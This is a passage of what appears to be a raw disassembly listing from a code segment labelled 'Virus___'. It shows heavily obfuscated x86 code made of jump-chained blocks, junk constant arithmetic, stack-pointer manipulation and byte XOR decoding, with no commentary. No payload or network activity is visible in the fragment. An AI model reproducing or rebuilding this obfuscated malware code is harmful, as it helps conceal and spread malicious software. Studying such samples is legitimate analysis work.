; ---------------------------------------------------------------------------


loc_58F01E:				; CODE XREF: Virus___:0058D9EAj
		sub	esp, 4
		push	esp
		jmp	loc_58E225
; ---------------------------------------------------------------------------


loc_58F027:				; CODE XREF: Virus___:0058880Cj
		mov	ebp, 6BF371F2h
		jmp	loc_58A75F
; ---------------------------------------------------------------------------


loc_58F031:				; CODE XREF: Virus___:00584005j
		mov	ebx, ecx
		jmp	loc_58A8C2
; ---------------------------------------------------------------------------


loc_58F038:				; CODE XREF: Virus___:00581828j
		add	ebx, edi
		jmp	loc_5841F4
; ---------------------------------------------------------------------------


loc_58F03F:				; CODE XREF: Virus___:0059082Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, offset byte_5C466B
		mov	esi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_58B94B
; ---------------------------------------------------------------------------


loc_58F058:				; CODE XREF: Virus___:00588ACFj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	1D79h
		mov	[esp], edx
		jmp	loc_57F3B2
; ---------------------------------------------------------------------------


loc_58F06F:				; CODE XREF: Virus___:00590EC8j
		push	eax
		jmp	loc_58C504
; ---------------------------------------------------------------------------


loc_58F075:				; CODE XREF: Virus___:0058F27Fj
		push	dword ptr [esp]
		pop	ecx
		push	edx
		jmp	loc_58C8BA
; ---------------------------------------------------------------------------


loc_58F07F:				; CODE XREF: Virus___:0058AA4Cj
		push	esp
		pop	eax
		jmp	loc_5917E7
; ---------------------------------------------------------------------------


loc_58F086:				; CODE XREF: Virus___:005854E3j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_58CB1A
; ---------------------------------------------------------------------------


loc_58F09D:				; CODE XREF: Virus___:00589BFBj
		neg	edi
		sub	edi, 0DA4EE324h
		add	ebp, edi
		pop	edi
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 408517F7h
		sub	edi, 287878ACh
		dec	edi
		sub	edi, 0DE88712Dh
		push	esi
		jmp	loc_590871
; ---------------------------------------------------------------------------


loc_58F0C7:				; CODE XREF: Virus___:005832E4j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58470B
; ---------------------------------------------------------------------------


loc_58F0DB:				; CODE XREF: Virus___:0058581Aj
		mov	ebp, esp
		push	6A1h
		mov	[esp], edx
		push	ebx
		push	77F5h
		jmp	loc_58577B
; ---------------------------------------------------------------------------


loc_58F0F0:				; CODE XREF: Virus___:005882B2j
		sub	eax, edi
		jmp	loc_592A2B
; ---------------------------------------------------------------------------


loc_58F0F7:				; CODE XREF: Virus___:005814ACj
		sub	edx, ecx
		jmp	loc_58E357
; ---------------------------------------------------------------------------


loc_58F0FE:				; CODE XREF: Virus___:0058FAF8j
		sub	edi, 1B8630BCh
		jmp	loc_58D613
; ---------------------------------------------------------------------------


loc_58F109:				; CODE XREF: Virus___:0059119Ej
		pop	ecx
		jmp	loc_581371
; ---------------------------------------------------------------------------


loc_58F10F:				; CODE XREF: Virus___:005919EEj
		sub	bh, 0D5h
		xor	al, bh
		pop	ebx
		jmp	loc_581956
; ---------------------------------------------------------------------------


loc_58F11A:				; CODE XREF: Virus___:00589927j
		push	ebx
		sub	dword ptr [esp], 154F3DC0h
		jmp	loc_583BA9
; ---------------------------------------------------------------------------


loc_58F127:				; CODE XREF: Virus___:00589822j
		xor	cl, al
		pop	eax
		add	al, cl
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_589BC3
; ---------------------------------------------------------------------------


loc_58F135:				; CODE XREF: Virus___:0058356Fj
		pop	edx
		jmp	loc_588203
; ---------------------------------------------------------------------------


loc_58F13B:				; CODE XREF: Virus___:00584903j
		sub	ecx, 77B44C77h
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp]
		jmp	loc_5847C3
; ---------------------------------------------------------------------------


loc_58F154:				; CODE XREF: Virus___:0057FC6Cj
		add	bl, 0DFh
		add	bl, ah
		sub	bl, 0DFh
		sub	bl, 6Bh
		sub	bl, 8Eh
		mov	eax, [esp]
		add	esp, 4
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_584296
; ---------------------------------------------------------------------------


loc_58F174:				; CODE XREF: Virus___:0058DD02j
		push	409Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		jmp	loc_5801AC
; ---------------------------------------------------------------------------


loc_58F18C:				; CODE XREF: Virus___:00587CA7j
		push	ebx
		mov	ebx, 3EC41A19h
		jmp	loc_57FE78
; ---------------------------------------------------------------------------


loc_58F197:				; CODE XREF: Virus___:0059114Aj
		add	ecx, 353640E2h
		sub	ecx, ebx
		sub	ecx, 353640E2h
		pop	ebx
		jmp	loc_59344C
; ---------------------------------------------------------------------------


loc_58F1AB:				; CODE XREF: Virus___:005872FCj
		add	al, 51h
		pop	ecx
		push	796Dh
		mov	[esp], ecx
		push	edx
		jmp	loc_593E30
; ---------------------------------------------------------------------------


loc_58F1BC:				; CODE XREF: Virus___:0058C215j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_592404
; ---------------------------------------------------------------------------


loc_58F1C8:				; CODE XREF: Virus___:005858DFj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58B489
; ---------------------------------------------------------------------------


loc_58F1DC:				; CODE XREF: Virus___:0058F65Bj
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_58BDE7
; ---------------------------------------------------------------------------


loc_58F1F7:				; CODE XREF: Virus___:00584602j
		inc	ebx
		push	edi
		mov	edi, 3DA36618h
		push	eax
		jmp	loc_58CDC4
; ---------------------------------------------------------------------------


loc_58F204:				; CODE XREF: Virus___:0058040Fj
		push	esi
		jmp	loc_5943A6
; ---------------------------------------------------------------------------


loc_58F20A:				; CODE XREF: Virus___:0058233Bj
		xor	edi, [esp]
		jmp	loc_57FB6D
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 4E48h
		jmp	loc_58BCB5
; ---------------------------------------------------------------------------


loc_58F21F:				; CODE XREF: Virus___:00584FF8j
		add	esi, 2B107A13h
		xor	esi, 0DE8648FBh
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	eax, 28F86BD9h
		sub	eax, ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0A306B07h
		dec	edx
		neg	edx
		not	edx
		add	edx, 4BE00A0Dh
		push	eax
		jmp	loc_583F14
; ---------------------------------------------------------------------------


loc_58F257:				; CODE XREF: Virus___:00592541j
		pop	edx
		add	ebx, 54BB6E6Eh
		jmp	loc_5868F6
; ---------------------------------------------------------------------------


loc_58F263:				; CODE XREF: Virus___:00588A50j
		dec	ebp
		sub	ebp, 0F203FA14h
		xor	eax, ebp
		jmp	loc_580063
; ---------------------------------------------------------------------------


loc_58F271:				; CODE XREF: Virus___:0058109Cj
		sub	ebx, eax
		pop	eax
		jmp	loc_582F32
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		jmp	loc_58F075
; ---------------------------------------------------------------------------


loc_58F284:				; CODE XREF: Virus___:00588FDDj
		push	ecx
		mov	ecx, 54440C4h
		mov	esi, 86430ED2h
		add	esi, ecx
		jmp	loc_593F92
; ---------------------------------------------------------------------------


loc_58F296:				; CODE XREF: Virus___:005941B2j
		mov	eax, [esp]
		add	esp, 4
		and	ebx, 52480E0Ch
		jmp	loc_58EF90
; ---------------------------------------------------------------------------


loc_58F2AA:				; CODE XREF: Virus___:00585498j
		sub	eax, 3E654F3Eh
		add	eax, edi
		add	eax, 3E654F3Eh
		add	eax, 281366DDh
		sub	eax, 9B10CD4h
		xor	edx, [eax]
		pop	eax
		xor	[edi+24h], edx


loc_58F2C6:				; CODE XREF: Virus___:0057FA9Bj
		push	6F5Dh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58235D
; ---------------------------------------------------------------------------


loc_58F2D9:				; CODE XREF: Virus___:00590A46j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58D3A1
; ---------------------------------------------------------------------------


loc_58F2E2:				; CODE XREF: Virus___:0058426Cj
		push	26D2h
		jmp	loc_58EF43
; ---------------------------------------------------------------------------


loc_58F2EC:				; CODE XREF: Virus___:0058DA6Ej
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 60DA5EACh
		xor	esi, 457C6FD4h
		push	ebx
		mov	ebx, 1AB84223h
		shr	ebx, 4
		add	ebx, 23FAAD52h
		sub	esi, ebx
		pop	ebx
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_59197E
; ---------------------------------------------------------------------------


loc_58F31B:				; CODE XREF: Virus___:00593E52j
		mov	ch, 1
		dec	ch
		add	ch, 68h
		mov	dh, 42h
		xor	dh, ch
		pop	ecx
		or	al, dh
		pop	edx
		sub	al, 0EDh
		shr	al, 2
		xor	al, 44h
		jmp	loc_58561E
; ---------------------------------------------------------------------------


loc_58F336:				; CODE XREF: Virus___:00587D01j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_584307
; ---------------------------------------------------------------------------


loc_58F341:				; CODE XREF: Virus___:00582925j
		sub	ecx, 0B297ED0Ah
		jmp	loc_586482
; ---------------------------------------------------------------------------


loc_58F34C:				; CODE XREF: Virus___:005827EDj
		push	25395142h
		jmp	loc_58B2FB
; ---------------------------------------------------------------------------


loc_58F356:				; CODE XREF: Virus___:00583313j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_593F82
; ---------------------------------------------------------------------------


loc_58F374:				; CODE XREF: Virus___:00591655j
		add	esi, ebp
		jmp	loc_5834BB
; ---------------------------------------------------------------------------


loc_58F37B:				; CODE XREF: Virus___:0058F608j
		mov	edi, ebx
		pop	ebx
		jmp	loc_592F50
; ---------------------------------------------------------------------------


loc_58F383:				; CODE XREF: Virus___:005802C1j
		xor	edi, 4E8216F4h
		jmp	loc_58543B
; ---------------------------------------------------------------------------


loc_58F38E:				; CODE XREF: Virus___:00589AF6j
		pop	esp
		add	ebx, edi
		push	edx
		push	523612ECh
		pop	edx
		jmp	loc_592681
; ---------------------------------------------------------------------------


loc_58F39D:				; CODE XREF: Virus___:00592431j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58F3AB:				; CODE XREF: Virus___:0058E674j
		sub	ecx, 4
		push	4D2Fh
		jmp	loc_583821
; ---------------------------------------------------------------------------


loc_58F3BB:				; CODE XREF: Virus___:0059225Aj
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_592D03
; ---------------------------------------------------------------------------


loc_58F3D1:				; CODE XREF: Virus___:00589F30j
		add	ebp, 0CD0A03h
		mov	edx, [esp]
		jmp	loc_5891C8
; ---------------------------------------------------------------------------


loc_58F3DF:				; CODE XREF: Virus___:0058D362j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	edi
		mov	edi, 3B7314Eh
		jmp	loc_58DA10
; ---------------------------------------------------------------------------


loc_58F3FA:				; CODE XREF: Virus___:0058D291j
		sub	ecx, 41B02083h
		add	ecx, eax
		add	ecx, 41B02083h
		push	eax
		mov	eax, 0
		add	eax, 40865C78h
		add	eax, ecx
		sub	eax, 40865C78h
		mov	[eax], dl
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	ecx
		jmp	loc_583AC0
; ---------------------------------------------------------------------------


loc_58F42C:				; CODE XREF: Virus___:0058D20Ej
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_580929
; ---------------------------------------------------------------------------


loc_58F43A:				; CODE XREF: Virus___:005939D8j
		push	ebx
		push	eax
		mov	eax, 14837E4Dh
		xor	eax, 348C59E6h
		xor	eax, 46846337h
		jmp	loc_5901CB
; ---------------------------------------------------------------------------


loc_58F450:				; CODE XREF: Virus___:00581951j
		sub	edx, 4
		jmp	loc_5903CF
; ---------------------------------------------------------------------------


loc_58F45B:				; CODE XREF: Virus___:0058D6FBj
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_58E846
; ---------------------------------------------------------------------------


loc_58F47C:				; CODE XREF: Virus___:0058D24Aj
		push	edi
		mov	edi, 14E02A82h
		or	edi, 2B0403D5h
		push	3C16h
		mov	[esp], edx
		jmp	loc_58B620
; ---------------------------------------------------------------------------


loc_58F495:				; CODE XREF: Virus___:00592F60j
		mov	esp, [esp]
		xor	bl, al
		jmp	loc_58BBCD
; ---------------------------------------------------------------------------


loc_58F49F:				; CODE XREF: Virus___:0059290Dj
		push	esi
		mov	esi, 62C23EEBh
		jmp	loc_589D60
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	263Dh
		jmp	loc_586DF3
; ---------------------------------------------------------------------------


loc_58F4B7:				; CODE XREF: Virus___:0057FBF4j
		shl	bl, 3
		not	bl
		jmp	loc_5810AE
; ---------------------------------------------------------------------------


loc_58F4C1:				; CODE XREF: Virus___:0058374Ej
		add	esi, 4
		jmp	loc_58B860
; ---------------------------------------------------------------------------


loc_58F4CC:				; CODE XREF: Virus___:0058C0D9j
		push	esi
		mov	esi, 1F603A5Dh
		push	ebp
		mov	ebp, 40DF2B15h
		add	esi, 47CD56C1h
		add	esi, ebp
		sub	esi, 47CD56C1h
		pop	ebp
		push	ebp
		mov	ebp, 64AC1B05h
		push	esi
		mov	esi, 3A7A2203h
		add	ebp, esi
		pop	esi
		add	ebp, 694520A2h
		xor	esi, ebp
		jmp	loc_588258
; ---------------------------------------------------------------------------


loc_58F503:				; CODE XREF: Virus___:005829F3j
		sub	ebp, 30FE3E46h
		pop	esi
		jmp	loc_58765A
; ---------------------------------------------------------------------------


loc_58F50F:				; CODE XREF: Virus___:005835C3j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B630
; ---------------------------------------------------------------------------


loc_58F523:				; CODE XREF: Virus___:00590A0Bj
		sub	ebp, 4F9F27F7h
		add	ebp, ecx
		jmp	loc_587D34
; ---------------------------------------------------------------------------


loc_58F530:				; CODE XREF: Virus___:0058DCE6j
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_58E01D
; ---------------------------------------------------------------------------


loc_58F53C:				; CODE XREF: Virus___:00580566j
		add	edi, 996BD804h
		push	edi
		pop	ebx
		jmp	loc_58C257
; ---------------------------------------------------------------------------


loc_58F549:				; CODE XREF: Virus___:00582AFDj
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		sub	ebp, 4BE40261h
		jmp	loc_58ED21
; ---------------------------------------------------------------------------


loc_58F559:				; CODE XREF: Virus___:0058FE92j
		pop	ecx
		push	edx
		mov	dh, 0B0h
		and	dh, 9
		jmp	loc_591AC4
; ---------------------------------------------------------------------------


loc_58F565:				; CODE XREF: Virus___:0058EB38j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58D353
; ---------------------------------------------------------------------------


loc_58F570:				; CODE XREF: Virus___:00585631j
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_58A2A1
; ---------------------------------------------------------------------------


loc_58F57D:				; CODE XREF: Virus___:00587F8Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58F58C:				; CODE XREF: Virus___:005856B3j
		mov	esi, esp
		jmp	loc_58DB4A
; ---------------------------------------------------------------------------


loc_58F593:				; CODE XREF: Virus___:00583931j
		push	esp
		push	dword ptr [esp]
		jmp	loc_588BFC
; ---------------------------------------------------------------------------


loc_58F59C:				; CODE XREF: Virus___:0058CCF8j
		push	dword ptr [esp]
		jmp	loc_5843BB
; ---------------------------------------------------------------------------


loc_58F5A4:				; CODE XREF: Virus___:00585EACj
		xchg	eax, [esp]
		jmp	loc_58C660
; ---------------------------------------------------------------------------


loc_58F5AC:				; CODE XREF: Virus___:0058D2E4j
		push	0B94h
		mov	[esp], eax
		mov	eax, 8EE7C418h
		add	esi, 783769F7h
		sub	esi, eax
		sub	esi, 783769F7h
		pop	eax
		add	eax, esi
		jmp	loc_57FB46
; ---------------------------------------------------------------------------


loc_58F5CF:				; CODE XREF: Virus___:0058DD4Bj
		push	ebx
		mov	ebx, 7E450B6Fh
		jmp	loc_586A11
; ---------------------------------------------------------------------------


loc_58F5DA:				; CODE XREF: Virus___:00581172j
		mov	esi, 789F69C1h
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		xor	ebp, 789F69C1h
		pop	ebx
		push	5DBBh
		jmp	loc_57FE20
; ---------------------------------------------------------------------------


loc_58F5FB:				; CODE XREF: Virus___:005838C2j
		xor	ebx, 103B78AEh
		dec	ebx
		sub	ebx, 6F1755Dh
		jmp	loc_58F37B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0EC835524h, 7DA2E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F61A:				; CODE XREF: Virus___:005926AAj
		sub	eax, 7E201F56h
		add	eax, 83548262h
		sub	ecx, 13A53E2Eh
		add	ecx, eax
		push	ebx
		push	esi
		mov	esi, 4C4C3D7Ah
		mov	ebx, esi
		pop	esi
		shl	ebx, 4
		dec	ebx
		sub	ebx, 0B11E9971h
		add	ecx, 6BDC6360h
		add	ecx, ebx
		sub	ecx, 6BDC6360h
		pop	ebx
		pop	eax
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_58F1DC
; ---------------------------------------------------------------------------


loc_58F660:				; CODE XREF: Virus___:00584501j
		push	edx
		mov	dh, 22h
		jmp	loc_58B2EB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_58A2E6
; ---------------------------------------------------------------------------


loc_58F677:				; CODE XREF: Virus___:00590B21j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_58F67C:				; CODE XREF: Virus___:0058DA97j
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		jmp	loc_585807
; ---------------------------------------------------------------------------


loc_58F68B:				; CODE XREF: Virus___:0058BA16j
		sub	ebx, 6F89402Ch
		push	4149h
		mov	[esp], esi
		mov	esi, 73A86C2Eh
		shr	esi, 6
		push	0BBCh
		mov	[esp], ecx
		jmp	loc_580805
; ---------------------------------------------------------------------------


loc_58F6AE:				; CODE XREF: Virus___:00593B30j
		mov	edx, 21602450h
		add	edx, 1F930AF5h
		add	eax, 29A622Ch
		sub	eax, edx
		sub	eax, 29A622Ch
		pop	edx
		add	eax, 475D3778h
		sub	eax, edi
		sub	eax, 475D3778h
		add	eax, 40F32F45h
		push	ebp
		mov	ebp, 116B03ABh
		not	ebp
		xor	ebp, 5F44FCDh
		sub	ebp, 0A488A2B3h
		add	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4FD55C28h
		add	eax, 7FE80B69h
		sub	eax, ecx
		sub	eax, 7FE80B69h
		pop	ecx
		jmp	loc_58E8D7
; ---------------------------------------------------------------------------


loc_58F706:				; CODE XREF: Virus___:0058C566j
		xor	dword ptr [esp], 191A5AD3h
		pop	eax
		xor	eax, 191A5AD3h
		pop	edi
		pop	ecx
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 6B46255Ch
		shl	ebp, 5
		jmp	loc_580336
; ---------------------------------------------------------------------------


loc_58F726:				; CODE XREF: Virus___:00589166j
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_580E35
; ---------------------------------------------------------------------------


loc_58F736:				; CODE XREF: Virus___:005922C9j
		add	ebp, 49122735h
		add	ebp, 73A1AE97h
		jmp	loc_587933
; ---------------------------------------------------------------------------


loc_58F747:				; CODE XREF: Virus___:0059076Cj
		mov	dx, [esp]
		add	esp, 2
		push	dx
		jmp	loc_589E8E
; ---------------------------------------------------------------------------


loc_58F755:				; CODE XREF: Virus___:00581647j
		pop	eax
		push	51C2h
		mov	[esp], edi
		jmp	loc_58DC44
; ---------------------------------------------------------------------------


loc_58F763:				; CODE XREF: Virus___:0057FDAFj
		not	edx
		add	edx, 42FE5E6Bh
		sub	edx, 5CAA648Fh
		or	edx, 515D134Bh
		sub	edx, 0DFFDDBDBh
		jmp	loc_5881AD
; ---------------------------------------------------------------------------


loc_58F782:				; CODE XREF: Virus___:0058E352j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2A50110h
		sub	eax, 1
		xor	eax, 47B83BB0h
		push	eax
		sub	dword ptr [esp], 570E1962h
		pop	edx
		push	ecx
		jmp	loc_5933BF
; ---------------------------------------------------------------------------


loc_58F7B1:				; CODE XREF: Virus___:005847FFj
		add	edx, ebp
		sub	edx, 3E7875DCh
		sub	edx, 5D553F5h
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_587009
; ---------------------------------------------------------------------------


loc_58F7C8:				; CODE XREF: Virus___:005935E7j
		add	esp, 4
		mov	ch, 4
		add	ch, bl
		pop	ebx
		sub	ch, 8Eh
		mov	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		shl	bh, 8
		jmp	loc_57F6F0
; ---------------------------------------------------------------------------


loc_58F7E6:				; CODE XREF: Virus___:00588D62j
		push	34DAh
		jmp	loc_58DAC4
; ---------------------------------------------------------------------------


loc_58F7F0:				; CODE XREF: Virus___:005862D9j
		sub	ebx, 0FFFFFFFFh
		shr	ebx, 8
		push	edx
		jmp	loc_5847D9
; ---------------------------------------------------------------------------


loc_58F7FF:				; CODE XREF: Virus___:00591E6Bj
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 8
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_581FA4
; ---------------------------------------------------------------------------


loc_58F814:				; CODE XREF: Virus___:005892A3j
		sub	ebp, 7E8B7474h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_585657
; ---------------------------------------------------------------------------


loc_58F823:				; CODE XREF: Virus___:00590000j
		mov	esi, ecx
		pop	ecx
		not	esi
		jmp	loc_58ECAE
; ---------------------------------------------------------------------------


loc_58F82D:				; CODE XREF: Virus___:0058BBFCj
		push	edx
		push	144131EBh
		mov	edx, [esp]
		push	4C5Bh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_586CF2
; ---------------------------------------------------------------------------


loc_58F84B:				; CODE XREF: Virus___:00588837j
		mov	ecx, 583D1AC4h
		not	ecx
		push	esi
		mov	esi, 7E860E2Dh
		xor	ecx, esi
		pop	esi
		shr	ecx, 5
		xor	ecx, 818772Eh
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_583E9A
; ---------------------------------------------------------------------------


loc_58F871:				; CODE XREF: Virus___:0058BC66j
		mov	ah, 5Dh
		mov	dl, 0B1h
		sub	dl, ah
		pop	eax
		push	ebx
		push	ecx
		mov	cl, 0B7h
		mov	bl, 0ACh
		add	bl, cl
		pop	ecx
		and	dl, bl
		pop	ebx
		dec	dl
		not	dl
		or	dl, 0F4h
		shr	dl, 7
		xor	dl, 0FBh
		xor	bh, dl
		pop	edx
		jmp	loc_58C30B
; ---------------------------------------------------------------------------


loc_58F899:				; CODE XREF: Virus___:00589099j
		mov	edx, 2E5B4Dh
		xor	edi, edx
		jmp	loc_592833
; ---------------------------------------------------------------------------


loc_58F8A5:				; CODE XREF: Virus___:005818B1j
		mov	[esp], ecx
		push	esi
		push	ebx
		mov	ebx, 32703EE0h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	esi, 1
		jmp	loc_5808CC
; ---------------------------------------------------------------------------


loc_58F8BE:				; CODE XREF: Virus___:00583B5Ej
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_587E02
; ---------------------------------------------------------------------------


loc_58F8D4:				; CODE XREF: Virus___:00586DE5j
		mov	ebx, 4
		sub	ecx, ebx
		jmp	loc_58B89C
; ---------------------------------------------------------------------------


loc_58F8E0:				; CODE XREF: Virus___:00583F8Aj
		add	edx, ebp
		pop	ebp
		sub	edx, 4581E32h
		jmp	loc_58FA7A
; ---------------------------------------------------------------------------


loc_58F8EE:				; CODE XREF: Virus___:005898C4j
		push	eax
		mov	al, 84h
		xor	dl, al
		pop	eax
		add	dl, 36h
		jmp	loc_592BDB
; ---------------------------------------------------------------------------


loc_58F8FC:				; CODE XREF: Virus___:0057FA30j
		pop	edx
		pop	ecx
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_59145B
; ---------------------------------------------------------------------------


loc_58F90F:				; CODE XREF: Virus___:0058B69Dj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_58CABB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58DC1C
; ---------------------------------------------------------------------------


loc_58F923:				; CODE XREF: Virus___:00592127j
		mov	edi, esp
		jmp	loc_58AB3C
; ---------------------------------------------------------------------------


loc_58F92A:				; CODE XREF: Virus___:0058CB20j
		xor	ebp, [esp]
		jmp	loc_5838E4
; ---------------------------------------------------------------------------


loc_58F932:				; CODE XREF: Virus___:00589284j
		mov	ax, [esp]
		push	ebx
		jmp	loc_582FF1
; ---------------------------------------------------------------------------


loc_58F93C:				; CODE XREF: Virus___:00588460j
		mov	esp, [esp]
		mov	dx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	1797h
		mov	[esp], edx
		mov	edx, 316D607Fh
		push	eax
		push	3DD910ABh
		pop	eax
		and	eax, 489655C9h
		shr	eax, 4
		or	eax, 37F22F45h
		shr	eax, 4
		xor	eax, 7D75CF8Fh
		jmp	loc_590D9F
; ---------------------------------------------------------------------------


loc_58F97A:				; CODE XREF: Virus___:0058283Ej
		add	esp, 4
		push	4F1Eh
		mov	[esp], edi
		push	ecx
		mov	ecx, 7CB532E6h
		mov	edi, 56CB5F95h
		jmp	loc_58B726
; ---------------------------------------------------------------------------


loc_58F995:				; CODE XREF: Virus___:0058C010j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_58F9C7:				; CODE XREF: Virus___:005827E0j
					; Virus___:00590EEBj
		push	dword ptr [esp]
		jmp	loc_58D7A9
; ---------------------------------------------------------------------------


loc_58F9CF:				; CODE XREF: Virus___:00587B65j
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_581EE7
; ---------------------------------------------------------------------------


loc_58F9DA:				; CODE XREF: Virus___:005818D5j
		mov	eax, 349C3042h
		dec	eax
		and	eax, 74703CE2h
		or	eax, 24334989h
		xor	eax, 5F3A2F09h
		sub	eax, 156A0024h
		jmp	loc_58D182
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	269h
		jmp	loc_57F4EA
; ---------------------------------------------------------------------------


loc_58FA07:				; CODE XREF: Virus___:0058724Dj
		mov	[esp], ecx
		mov	ch, 0ECh
		xor	ch, 12h
		push	eax
		push	ebx
		mov	bl, ch
		mov	ah, bl
		pop	ebx
		mov	dh, ah
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_587EC3
; ---------------------------------------------------------------------------


loc_58FA24:				; CODE XREF: Virus___:0059053Cj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_591F39
; ---------------------------------------------------------------------------


loc_58FA32:				; CODE XREF: Virus___:00581F9Fj
		mov	ecx, 79D66857h
		shl	ecx, 8
		shr	ecx, 8
		jmp	loc_58C7E3
; ---------------------------------------------------------------------------


loc_58FA42:				; CODE XREF: Virus___:0058E701j
		pop	eax
		inc	ebp
		dec	ebp
		xor	ebp, 244BF21Ah
		mov	edi, ebp
		pop	ebp
		jmp	loc_581EE0
; ---------------------------------------------------------------------------


loc_58FA53:				; CODE XREF: Virus___:00584DF9j
		mov	ebx, edi
		pop	edi
		add	ebx, 3DE752Eh
		shr	ebx, 4
		sub	ebx, 0AB1FE7F1h
		sub	eax, ebx
		pop	ebx
		sub	eax, 53EC4BC7h
		add	eax, ebx
		push	esi
		mov	esi, 53EC4BC7h
		jmp	loc_594248
; ---------------------------------------------------------------------------


loc_58FA7A:				; CODE XREF: Virus___:0058F8E9j
		sub	edx, ebp
		add	edx, 4581E32h
		sub	edx, 64A7406Eh
		pop	ebp
		add	ebx, edx
		jmp	loc_58BA15
; ---------------------------------------------------------------------------


loc_58FA90:				; CODE XREF: Virus___:0058DCCEj
		and	edx, 6F0D7C1Ch
		inc	edx
		dec	edx
		sub	edx, 60D8FD7h
		sub	ebp, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, 1607594Fh
		push	ebp
		pop	eax
		pop	ebp
		mov	edi, 2410CD6Fh
		jmp	loc_58B838
; ---------------------------------------------------------------------------


